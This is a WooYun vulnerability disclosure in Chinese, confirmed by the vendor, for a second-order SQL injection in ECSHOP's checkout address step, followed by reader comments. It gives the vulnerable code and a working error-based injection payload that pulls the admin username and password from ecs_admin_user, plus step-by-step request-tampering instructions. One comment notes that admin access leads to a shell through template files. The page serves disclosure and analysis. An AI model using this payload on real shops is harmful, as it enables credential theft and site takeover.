当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016651

漏洞标题:ECSHOP全版本注入漏洞(二次注入)

相关厂商:ShopEx

漏洞作者: y35u

提交时间:2012-12-28 22:42

修复时间:2013-02-11 22:42

公开时间:2013-02-11 22:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-28: 细节已通知厂商并且等待厂商处理中
2012-12-29: 厂商已经确认,细节仅向厂商公开
2013-01-08: 细节向核心白帽子及相关领域专家公开
2013-01-18: 细节向普通白帽子公开
2013-01-28: 细节向实习白帽子公开
2013-02-11: 细节向公众公开

简要描述:

ECSHOP全版本注入漏洞(二次注入)

详细说明:

function get_consignee($user_id)
{
if (isset($_SESSION['flow_consignee']))
{
/* 如果存在session,则直接返回session中的收货人信息 */
return $_SESSION['flow_consignee']; //从$_SESSION取得province等数据
}
else
{
/* 如果不存在,则取得用户的默认收货人信息 */
$arr = array();
if ($user_id > 0)
{
/* 取默认地址 */
$sql = "SELECT ua.*".
" FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
$arr = $GLOBALS['db']->getRow($sql);
}
return $arr;
}
}


把任意商品加入购物车在填写配送地址那一页,有地区选择
flow.php?step=consignee&direct_shopping=1
比如省选择安徽
其中POST数据如下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
province=3
改成

province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #


漏洞证明:

详细的方法,用火狐tamper data插件........即可改post内容.....
先注册账户,随便选个商品进购物车,然后填地址,电话什么的,填好开始抓包,改包
就会回显错误页面了。。。。
我自己没用这个日站过,就测试了一个最新版和老版本
外带一句,这里不仅是province,city,country,'district均可注入

修复方案:

一个姗姗来迟的漏洞,见谅

版权声明:转载请注明来源 y35u@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-12-29 23:01

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-28 22:43 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    有意思

  2. 2012-12-28 23:00 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @xsser @洞主 和第一个同类型么 第一个 3')考虑gpc 魔术'号哦

  3. 2012-12-28 23:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @_Evil 二次注射都不受gpc影响的 这个很赞 求写分析

  4. 2012-12-28 23:10 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @xsser 我知道了 1.是编码问题 2.SERVER变量问题 3.数组问题 4.包含文件利用问题(heige讲过) 5.特殊函数问题如截取字符串函数问题 6.CHAR绕过问题 他的是其中一个吧。

  5. 2012-12-28 23:13 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @xsser http://www.2cto.com/Article/201212/179861.html 提早公开了 。。。 - - 没看源码知道什么问题了,一大批站被黑-_- 耶稣哥哥你坏人阿

  6. 2012-12-28 23:15 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    洞主不是首发乌云!

  7. 2012-12-28 23:19 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @_Evil 不是,这里是二次的,session里,比较难发现的

  8. 2012-12-29 02:27 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    马克这厮

  9. 2012-12-29 11:20 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    为啥那么多安全狗出现..... 求FROM绕过

  10. 2012-12-29 22:04 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)

    二次注入。。所以转义不影响

  11. 2012-12-30 18:03 | /fd ( 路人 | Rank:8 漏洞数:1 )

    有2.7.3的後台拿shell嗎

  12. 2012-12-31 13:08 | 江南的鱼 ( 普通白帽子 | Rank:137 漏洞数:15 | 天生庸才!)

    @/fd 只要进了后台,就没有拿不到的shell,模版文件可以直接运行shell问题就是如果把后台改名了,猜不到,哪才悲剧。

  13. 2012-12-31 14:03 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @xsser 大神二次注入 都不受gpc影响么? 为啥呢?如果开了gpc 那么单引号(\')进入数据库后再出来 不也是\'么?这个漏洞之所以不受影响是因为它把$consignee 保存到session的时候,调用了stripslashes_deep,而这个自定义函数会对数组的每个值调用了stripslashes,导致gpc加的\在进入session后被转回来了。代码: $_SESSION['flow_consignee'] = stripslashes_deep($consignee); 后来在使用$_SESSION['flow_consignee']操作就有问题了...

  14. 2013-01-01 11:33 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @possible 你是黑客

  15. 2013-01-19 08:47 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @_Evil @xsser 我说错了 你们都不告诉我 真是坏黑阔